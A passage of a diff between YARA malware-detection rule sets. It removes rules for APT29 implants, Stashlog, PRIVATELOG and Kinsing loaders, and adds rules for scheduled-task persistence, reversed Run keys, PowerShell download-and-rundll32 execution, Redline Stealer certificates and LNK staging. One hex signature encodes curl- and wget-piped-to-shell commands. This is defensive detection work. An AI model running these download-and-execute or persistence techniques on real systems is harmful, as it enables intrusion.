ff ff 00 c6 45 fc 3b 83 bd 88 f7 ff ff 10 72 0e ff b5 74 f7 ff ff e8 9c c5 1f 00 83 c4 04 c7 85 88 f7 ff ff 0f 00 00 00 c7 85 84 f7 ff ff 00 00 00 00 c6 85 74 f7 ff ff 00 c6 45 fc 3a 83 bd b0 f8 ff ff 10 72 0e ff b5 9c f8 ff ff e8 66 c5 1f 00 83 c4 04 c7 85 b0 f8 ff ff 0f 00 00 00 c7 85 ac f8 ff ff 00 00 00 00 c6 85 9c f8 ff ff 00 c6 45 fc 39 83 bd 18 f7 ff ff 10 72 0e ff b5 04 f7 ff ff e8 30 c5 1f 00 83 c4 04 c7 85 18 f7 ff ff 0f 00 00 00 c7 85 14 f7 ff ff 00 00 00 00 c6 85 04 f7 ff ff 00 c6 45 fc 38 83 bd 94 f8 ff ff 10 72 0e ff b5 80 f8 ff ff e8 fa c4 1f 00 83 c4 04 c7 85 94 f8 ff ff 0f 00 00 00 c7 85 90 f8 ff ff 00 00 00 00 c6 85 80 f8 ff ff 00 c6 45 fc 37 83 bd 30 f8 ff ff 10 72 0e ff b5 1c f8 ff ff e8 c4 c4 1f 00 83 c4 04 c7 85 30 f8 ff ff 0f 00 00 00 c7 85 2c f8 ff ff 00 00 00 00 c6 85 1c f8 ff ff 00 c6 45 fc 36 83 bd 98 fa ff ff 10 72 0e ff b5 84 fa ff ff e8 8e c4 1f 00 83 c4 04 c7 85 98 fa ff ff 0f 00 00 00 c7 85 94 fa ff ff 00 00 00 00 c6 85 84 fa ff ff 00 c6 45 fc 35 83 bd 80 fa ff ff 10 72 0e ff b5 6c fa ff ff e8 58 c4 1f 00 83 c4 04 c7 85 80 fa ff ff 0f 00 00 00 c7 85 7c fa ff ff 00 00 00 00 c6 85 6c fa ff ff 00 c6 45 fc 27 83 bd 50 fa ff ff 10 72 0e ff b5 3c fa ff ff e8 22 c4 1f 00 83 c4 04 c7 85 50 fa ff ff 0f 00 00 00 c7 85 4c fa ff ff 00 00 00 00 c6 85 3c fa ff ff 00 53 19 d3 bb 18 4a 91 1c 21 c3 bb 82 54 5d 2c bb b0 08 2a 58 90 5b 51 21 e9 b9 b9 6e b4 14 31 f1 01 c1 01 f9 19 e1 21 d9 09 f9 90 59 56 be cd 3a 33 5a be 85 1b aa 6f be 1e 6c 78 2d 19 d6 21 e6 90 5e 53 31 f3 bb 8c 21 88 0d 31 db 31 eb 19 d3 19 f3 31 f3 01 f3 90 5b 80 7e 40 00 0f 85 03 06 00 00 66 c7 85 60 fe ff ff 0d 0a c7 85 48 fe ff ff 0d 0a 2d 2d c7 85 d8 fc ff ff 43 6f 6e 74 c7 85 dc fc ff ff 65 6e 74 2d c7 85 e0 fc ff ff 44 69 73 70 c7 85 e4 fc ff ff 6f 73 69 74 c7 85 e8 fc ff ff 69 6f 6e 3a c7 85 ec fc ff ff 20 66 6f 72 c7 85 f0 fc ff ff 6d 2d 64 61 c7 85 f4 fc ff ff 74 61 3b 20 c7 85 f8 fc ff ff 6e 61 6d 65 c7 85 fc fc ff ff 3d 22 63 73 c7 85 00 fd ff ff 72 66 5f 74 c7 85 04 fd ff ff 6f 6b 65 6e c7 85 08 fd ff ff 22 0d 0a 0d c6 85 0c fd ff ff 0a 8d 8d 60 fe ff ff 8d 85 62 fe ff ff 51 50 51 8d 8d 00 f9 ff ff e8 b7 30 fb ff 8b d8 c6 45 fc 3e 8d 8d 48 fe ff ff 8d 85 4c fe ff ff 51 50 51 8d 8d 30 f9 ff ff e8 97 30 }
-		$op1 = { 37 25 38 3d 38 43 38 5e 38 6c 38 77 38 }
-		$op2 = { 3f 25 3f 36 3f 66 3f 74 3f }
-		$op3 = { 68 66 43 78 28 6a 25 }
-		$op4 = { 61 46 25 7c 5f 56 21 }
+		$create = "New-ScheduledTaskAction"
+		$execute = "-Execute"
+		$trigger = "New-ScheduledTaskTrigger"
+		$at_param = "-At"
+		$register = "Register-ScheduledTask"
+		$action = "-Action"
+		$path1 = "C:\\ProgramData\\"
+		$path2 = "C:\\Windows\\Temp"
+		$path3 = "AppData\\Local"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >350KB and 2 of ($seq*) and 3 of ($op*)
+		filesize <30KB and 1 of ($path*) and ($create and $execute) or ($trigger and $at_param) or ($register and $action)
 }
-rule ARKBIRD_SOLG_APT_APT29_Miniduke_Mar_2021_1 : FILE
+rule SECUINFRA_SUSP_Reverse_Run_Key : FILE
 {
 	meta:
-		description = "Detect MiniDuke implant used by APT29 group"
-		author = "Arkbird_SOLG"
-		id = "2faefc2f-afe3-51df-b530-50d3b3775071"
-		date = "2021-03-08"
-		modified = "2021-03-10"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_MiniDuke_Mar_2021_1.yar#L1-L20"
+		description = "Detects a Reversed Run Key"
+		author = "SECUINFRA Falcon Team"
+		id = "230bed16-278e-574c-bb9b-cf6c44a7e9cd"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L27-L38"
 		license_url = "N/A"
-		logic_hash = "2fcbe37f9ee26a246bfc397cc907bb570a01d0f5b8e323a81aae0f6426b60435"
-		score = 50
-		quality = 75
+		logic_hash = "dcb1a7e2c688287d08ade3d75e5c3d0dde6b645889bd4ec09ce8c131d8d3265e"
+		score = 65
+		quality = 70
 		tags = "FILE"
-		hash1 = "6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1"
-		level = "Experimental"
 
 	strings:
-		$s1 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 00 00 00 00 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 25 73 }
-		$s2 = { 70 72 6f 63 3a 20 20 25 64 20 25 73 0a 6c 6f 67 69 6e 3a 20 25 73 5c 25 73 0a 49 44 3a 20 20 20 20 30 78 25 30 38 58 0a 68 6f 73 74 3a 20 20 25 73 3a 25 64 0a 6d 65 74 68 3a 20 20 25 73 20 25 64 0a 70 69 70 65 3a 20 5c 5c 25 73 5c 70 69 70 65 5c 25 73 0a 6c 61 6e 67 3a 20 20 25 73 0a 64 65 6c 61 79 3a 20 25 64 }
-		$s3 = { 75 70 74 69 6d 65 20 25 35 64 2e 25 30 32 64 68 0a 00 25 73 3a 25 64 00 25 73 5c 25 73 00 3f 00 25 64 20 25 73 0a 25 73 20 25 73 20 25 73 }
-		$s4 = { 55 89 e5 83 ec 14 6a 02 ff 15 b8 53 44 00 e8 fd fe ff ff 8d b6 00 00 00 00 8d bc 27 00 00 00 00 55 89 e5 83 ec 14 6a 01 ff 15 }
-		$s5 = { 8b 85 54 64 ff ff 8b 95 44 64 ff ff 83 c2 44 89 44 24 04 89 14 24 e8 a4 e5 fc ff 83 ec 08 8b 85 44 64 ff ff 83 c0 38 c7 44 24 08 0c 00 00 00 c7 44 24 04 00 00 00 00 89 04 24 e8 8c e8 fd ff 8b 85 44 64 ff ff c7 40 38 0c 00 00 00 8b 85 44 64 ff ff c7 40 40 01 00 00 00 8b 85 44 64 ff ff c7 40 3c 00 00 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 1c 8b 85 44 64 ff ff 83 c0 18 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 2e e5 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 0f 84 09 05 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 24 8b 85 44 64 ff ff 83 c0 20 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 eb e4 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 }
+		$run = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >150KB and 3 of them
+		filesize <100KB and $run
 }
-rule ARKBIRD_SOLG_APT_APT29_Polyglotduke_Mar_2021_1 : FILE
+rule SECUINFRA_SUSP_Powershell_Download_Temp_Rundll : POWERSHELL DOWNLOAD
 {
 	meta:
-		description = "Detect PolyglotDuke implant used by APT29 group"
-		author = "Arkbird_SOLG"
-		id = "751e4f57-2c31-5cad-a794-e124b40c537b"
-		date = "2021-03-08"
-		modified = "2021-03-10"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_PolyglotDuke_Mar_2021_1.yar#L1-L19"
+		description = "Detect a Download to %temp% and execution with rundll32.exe"
+		author = "SECUINFRA Falcon Team"
+		id = "f7a9d2e6-bebf-598b-9e59-db0a3001b9f9"
+		date = "2022-09-02"
+		modified = "2022-02-19"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/PowerShell_Misc/download_variations.yar#L1-L14"
 		license_url = "N/A"
-		logic_hash = "3a6d54fb266fe054886569c200f122b1e4459e0d561fe5246b623a19ec526224"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "9b33ec7f5e615a6556f147b611425d3ca4a8879ce746d4a8cb62adf4c7f76029"
-		hash2 = "0c39fce5bd32b4f91a1df4f6321c2f01c017195659c7e95a235ef71ca2865aa9"
+		logic_hash = "7982438c032127349fb1c3477a23bab1c92eb68d9c3b26e2f5fb0a8c332dbc44"
+		score = 65
+		quality = 70
+		tags = "POWERSHELL, DOWNLOAD"
 
 	strings:
-		$seq1 = { 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 4c 8b 15 [2] 02 00 41 8b c0 4c 33 15 [2] 02 00 74 03 49 ff e2 83 e0 01 4c 8b ca 41 83 e0 02 8b d0 48 ff 25 [2] 01 00 cc cc cc 4c 8b 15 [2] 02 00 4c 33 15 [2] 02 00 74 03 49 ff e2 48 ff 25 [2] 01 00 cc cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 07 48 83 c4 28 48 ff e0 b9 78 00 00 00 ff 15 [2] 01 00 32 c0 48 83 c4 28 c3 cc cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 33 c0 c3 cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 }
-		$seq2 = { 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 30 33 ff 48 8b da 48 8b f1 48 85 c9 75 18 e8 69 0c 00 00 bb 16 00 00 00 89 18 e8 b1 38 00 00 8b c3 e9 a7 00 00 00 48 85 d2 74 e3 e8 a8 3f 00 00 41 bf 01 00 00 00 85 c0 75 0c ff 15 [2] 01 00 85 c0 41 0f 44 ff 83 64 24 28 00 48 83 23 00 48 83 64 24 20 00 41 83 c9 ff 4c 8b c6 33 d2 8b cf ff 15 [2] 01 00 48 63 e8 85 c0 75 11 ff 15 [2] 01 00 8b c8 e8 b2 0b 00 00 33 c0 eb 4f 48 8b cd 48 03 c9 e8 e3 07 00 00 48 89 03 48 85 c0 74 e9 41 83 c9 ff 4c 8b c6 33 d2 8b cf 89 6c 24 28 48 89 44 24 20 ff 15 [2] 01 00 85 c0 75 1b ff 15 [2] 01 00 8b c8 e8 70 0b 00 00 48 8b 0b e8 ?? f3 ff ff 48 83 23 00 eb b0 41 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 30 41 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 40 33 ff 48 8b da 48 8b f1 }
-		$seq3 = { ff 25 00 00 00 00 00 00 00 00 00 00 00 00 cc }
-		$seq4 = "InitSvc" fullword ascii
+		$location = "$Env:temp" nocase
+		$download = "downloadfile(" nocase
+		$rundll = "rundll32.exe"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 3 of them
+		$location and $download and $rundll
 }
-rule ARKBIRD_SOLG_MAL_Stashlog_Sep_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_MAL_Redline_Certificate_Bosch : FILE
 {
 	meta:
-		description = "Detect Stashlog malware"
-		author = "Arkbird_SOLG"
-		id = "a6ae59df-c45a-5a31-8530-4fd7f0f33f93"
-		date = "2021-09-01"
-		modified = "2021-09-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_Stashlog_Sep_2021_1.yara#L1-L21"
+		description = "Detects Certificate used by Redline Stealer"
+		author = "SECUINFRA Falcon Team"
+		id = "a91d0510-ab4e-5f22-bcce-9a42beff5190"
+		date = "2022-12-02"
+		modified = "2022-02-13"
+		reference = "https://bazaar.abuse.ch/sample/60e40ccfc16ca9f36dee7ec2b4e2fc81398ff408bf7cc63fb7ddf0fef1d4b72b"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L3-L16"
 		license_url = "N/A"
-		logic_hash = "6bde398a0f13674e72fcbd9809d22773bc1fe699f7c187775740d50910b07d5b"
-		score = 50
-		quality = 75
+		logic_hash = "b3084bee5151543c0931bef9d320805d9e4d63c25be029da4e592d5a0b080a0e"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397"
-		hash2 = "869165044402a5f82f4cb8ddd51663ebb05f86345f346f765dcc54b20706cf7c"
-		level = "experimental"
-		tlp = "White"
-		adversary = "-"
-
-	strings:
-		$s1 = "497E724A7BA2764BB4570B225601FB693A796873E7847DB943F7FE9E7281C91A443DF1F8519CBB25FC736CC65BF3DE67A82E704BEB698E17" fullword ascii
-		$s2 = { 50 83 ec 0c 89 e0 31 c9 89 48 04 89 08 89 48 0c 89 48 08 50 ff 15 1c b2 42 00 c7 05 38 ac 44 00 01 00 00 00 50 83 ec 0c 89 e7 81 ec 04 01 00 00 31 c0 89 e3 89 47 04 89 07 89 47 0c 89 47 08 57 ff 15 1c b2 42 00 ff 25 64 5f 43 00 ff 25 6c 5f 43 00 0f b6 4f 0e 0f b6 47 0f 0f b6 57 0d 89 4d dc 0f b6 4f 0c 89 45 d8 89 55 e0 89 4d e4 ff 25 7c 5f 43 00 8b 4d f0 31 f6 46 31 e9 e8 94 48 01 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 ff 25 34 5f 43 00 0f 10 05 08 30 43 00 0f 10 0d 18 30 43 00 a0 28 30 43 00 8a 15 29 30 43 00 8a 0d 2a 30 43 00 0f 57 05 80 b2 42 00 0f 57 0d 90 b2 42 00 34 e9 80 f2 10 80 f1 b3 0f 11 }
-		$s3 = { 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 31 c0 66 c7 84 24 ae 00 00 00 3a 00 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 ff 25 e8 a9 43 00 89 c7 31 c0 83 ff ff 0f 94 c0 ff 24 85 ec a9 43 00 c7 44 24 1c 00 00 00 00 ff 25 28 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f 29 44 24 60 0f 29 44 24 50 0f 29 44 24 40 0f 29 44 24 30 ff 25 30 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f }
-		$s4 = { a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 ff 25 68 1f 44 00 89 cb ff 25 70 1f 44 00 31 c9 85 c0 8b 06 8b 5e 0c 0f }
-		$s5 = { 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 89 c6 ff 25 70 b7 43 00 ff 37 ff 15 0c b0 42 00 8b 4d f0 31 e9 e8 a9 f6 00 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 ff 25 48 b7 43 00 55 }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >20KB and 4 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "BOSCH BOSCH SDS-plus Professional 607557501" and pe.signatures[i].serial=="72:76:34:57:ef:50:d5:b0:4e:00:b3:74:ab:c6:ff:11")
 }
-rule ARKBIRD_SOLG_MAL_PRIVATELOG_Sep_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_MAL_Redline_Certificate_Geforce : FILE
 {
 	meta:
-		description = "Detect PRIVATELOG malware"
-		author = "Arkbird_SOLG"
-		id = "fa122d77-0bac-5836-85fd-b096660f7412"
-		date = "2021-09-01"
-		modified = "2021-09-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_PRIVATELOG_Sep_2021_1.yara#L1-L22"
+		description = "Detects Certificate used by Redline Stealer"
+		author = "SECUINFRA Falcon Team"
+		id = "70081810-704e-5734-8a78-f97e17989460"
+		date = "2022-02-13"
+		modified = "2022-02-13"
+		reference = "https://bazaar.abuse.ch/sample/f36c1c2f6b6f334be93b72fccb8e46cadd59304dc244b3a5aabecc8f4018eb77"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Stealer/redline_stealer.yar#L18-L31"
 		license_url = "N/A"
-		logic_hash = "4df78bc3005c67d467a0999751bf4fb42ff9075f1601d51ab3b2b88e5dc38f6e"
-		score = 50
-		quality = 50
+		logic_hash = "04e9bfd886be1550b0efd22f0098cc13a5fb6e7cae30b866a4066d0c8f433367"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c"
-		hash2 = "b9d4ec771a79f53a330b29ed17f719dac81a4bfe11caf0eac0efacd19d14d090"
-		level = "experimental"
-		tlp = "White"
-		adversary = "-"
-
-	strings:
-		$s1 = { 41 89 d0 48 83 ec 20 4c 89 f1 31 d2 e8 cb 8c 00 00 48 83 ec 10 48 89 5c 24 20 48 8d 15 4b 03 02 00 48 c7 c1 02 00 00 80 45 31 c0 41 b9 19 01 02 00 ff 15 55 52 01 00 48 83 c4 30 89 c7 85 c0 75 5a 49 8d 46 02 48 8b 0b 48 83 ec 30 48 89 74 24 28 48 89 44 24 20 48 8d 15 4f 03 02 00 45 31 c0 45 31 c9 ff 15 1b 52 01 00 48 83 c4 30 89 c7 85 c0 75 28 66 41 c7 06 7b 00 48 83 ec 20 48 8d 15 c0 02 02 00 4c 89 f1 ff 15 17 52 01 00 4c 89 f1 e8 67 c9 00 00 48 83 c4 20 31 ff 48 8b 0b 48 83 ec 20 ff 15 d4 51 01 00 48 83 c4 20 48 8b 4d f8 48 31 e9 48 83 ec 20 e8 f0 79 00 00 48 83 c4 20 89 f8 48 89 ec }
-		$s2 = { 48 8d 0d 87 c9 01 00 48 8d 15 47 01 00 00 ff 15 1a 14 01 00 48 89 05 e3 d8 01 00 48 85 c0 0f 84 d0 00 00 00 c7 05 e8 d8 01 00 00 00 00 00 48 8d 15 d1 d8 01 00 c7 05 df d8 01 00 b8 0b 00 00 0f 28 05 80 1c 01 00 0f 29 05 b9 d8 01 00 44 8b 05 e2 c8 01 00 41 8d 48 01 89 0d d8 c8 01 00 44 89 05 b5 d8 01 00 48 89 c1 ff 15 b8 13 01 00 31 c9 ba 01 00 00 00 45 31 c0 45 31 c9 ff 15 b5 14 01 00 48 89 05 9e d8 01 00 48 85 c0 0f 84 85 00 00 00 48 b8 04 00 00 00 01 00 00 00 48 89 05 68 d8 01 00 48 8d 15 5d d8 01 00 c7 05 5f d8 01 00 00 00 00 00 48 c7 05 5c d8 01 00 00 00 00 00 48 8b 0d 39 d8 01 00 ff 15 5b 13 01 00 e8 61 01 00 00 85 c0 74 2b 48 b9 01 00 00 00 01 00 00 00 48 89 0d 25 d8 01 00 48 8d 15 1a d8 01 00 89 05 20 d8 01 00 eb 44 48 83 c4 28 48 ff 25 57 14 01 00 48 8b 0d 20 d8 01 00 ba ff ff ff ff ff 15 9d 13 01 00 e8 eb c5 ff ff 48 b8 01 00 00 00 01 00 00 00 48 89 05 e3 d7 01 00 48 8d 15 d8 d7 01 00 c7 05 da d7 01 00 00 00 00 00 48 c7 05 d7 d7 01 00 00 00 00 00 48 8b 0d b4 d7 01 00 48 83 c4 28 48 ff 25 d1 12 01 00 48 83 ec 28 83 f9 01 75 69 48 b8 03 00 00 00 01 00 00 00 48 89 05 9b d7 01 00 48 8d 15 90 d7 01 00 31 c0 89 05 94 d7 01 00 89 05 9a d7 01 00 8b 05 ac c7 01 00 8d 48 01 89 0d a3 c7 01 00 89 05 81 d7 01 00 48 8b 0d 5e d7 01 00 ff 15 80 12 01 }
-		$s3 = { 48 89 01 c7 44 24 28 00 00 00 00 c7 44 24 20 03 00 00 00 ba 00 00 00 80 41 b8 01 00 00 00 45 31 c9 ff 15 f7 59 01 00 48 83 f8 ff 0f 84 e0 01 00 00 48 89 c6 0f 57 c0 48 8d 94 24 a0 00 00 00 0f 29 42 60 0f 29 42 50 0f 29 42 40 0f 29 42 30 0f 29 42 20 0f 29 42 10 0f 29 02 48 c7 42 70 00 00 00 00 4c 8d 44 24 7c 41 c7 00 78 00 00 00 48 89 c1 ff 15 9f 59 01 00 85 c0 0f 84 d0 01 00 00 8b 84 24 dc 00 00 00 c1 e0 0d 48 8d 8c 24 98 00 00 00 48 89 4c 24 38 89 44 24 20 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 48 89 f1 31 d2 45 31 c0 45 31 c9 ff 15 53 59 01 00 85 }
-		$s4 = { c6 00 00 48 ff c0 48 83 ec 20 48 89 f9 48 89 c2 ff 15 8e 19 01 00 48 8d 15 a9 cd 01 00 48 89 d9 ff 15 86 19 01 00 48 89 d9 ff 15 55 19 01 00 48 }
-		$s5 = "Global\\APCI#" fullword wide
-		$s6 = "uGlobal\\HVID_" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize >20KB and 4 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "Palit GeForce RTX 3070 Dual H21 LHR" and pe.signatures[i].serial=="11:cd:b5:d5:9d:fb:90:84:45:f3:a7:22:25:47:a4:54")
 }
-rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_A_1 : FILE
+rule SECUINFRA_SUSP_LNK_Staging_Directory : FILE
 {
 	meta:
-		description = "Detect Kinsing Variant A"
-		author = "Arkbird_SOLG"
-		id = "470fd4a6-faba-52b5-8ffa-5ac33fb607a0"
-		date = "2020-08-28"
-		modified = "2020-08-29"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L2-L30"
+		description = "Detects typical staging directories being referenced inside lnk files"
+		author = "SECUINFRA Falcon Team"
+		id = "459ed2e6-133c-5cde-bf49-95bf8a5eb8c8"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/lnk.yar#L31-L46"
 		license_url = "N/A"
-		logic_hash = "a9654b67ca6fb5de23d385707f01196d6d1c85e527d2bdbe312a2b2fcf998dc0"
-		score = 75
-		quality = 67
+		logic_hash = "3f2a04702b39bce48fc85aa68f39e6062c3b5ee37667eb086222a866a5e438e4"
+		score = 65
+		quality = 70
 		tags = "FILE"
-		hash1 = "22063638b9f05870e14110ccab9e07d744204360b184cfec0075f9fd27e08488"
-		hash2 = "248dd35d069d6b106b7528e41f95cd8cef0140fbb60808aa51c99ac117cf3318"
-		hash3 = "6ec5b8ea86d0af908182d6afc63c85a817e0612dba6e5e4b126b5639ab048b16"
-		hash4 = "b82d9e0ea2b6139438ce0b805fb03c3ae89ada9d4fdd7722562e6075f706048c"
 
 	strings:
-		$ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 }
-		$ClassCode2 = "java/lang/StringBuilder" fullword ascii
-		$ClassCode3 = "java/net/URL" fullword ascii
-		$ClassCode4 = "java/net/URLConnection" fullword ascii
-		$ClassCode5 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f }
-		$Com1 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 63 75 72 6C 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D }
-		$Com2 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 77 67 65 74 20 2D 71 20 2D 4F 20 2D 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D }
-		$Com3 = "chmod +x " fullword ascii
-		$Com4 = { 53 4b 4c 01 00 02 6c 66 }
-		$s1 = "User-Agent" fullword ascii
-		$s2 = "kinsing" fullword ascii
-		$s3 = { 6f 73 2e 6e 61 6d 65 }
-		$s4 = "getAbsolutePath" fullword ascii
-		$s5 = { 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e }
+		$header = {4c00 0000 0114 0200 0000}
+		$public = "$env:public" wide
 
 	condition:
-		filesize <1KB and 4 of ($ClassCode*) and 3 of ($Com*) and 3 of ($s*)
+		filesize <20KB and ($header at 0) and $public
 }
-rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_B_1 : FILE
+rule SECUINFRA_MALWARE_Onenote_Delivery_Jan23
 {
 	meta:
-		description = "Detect Kinsing Variant B"
-		author = "Arkbird_SOLG"
-		id = "7e0f9826-806c-5801-aab5-d2a8dba4e206"
-		date = "2020-08-28"
-		modified = "2020-08-29"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L32-L52"
+		description = "Detects suspicious Microsoft OneNote files used to deliver Malware"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "ebf02a11-6f53-573d-bd7a-9948cef9fb3a"
+		date = "2023-01-19"
+		modified = "2023-01-19"
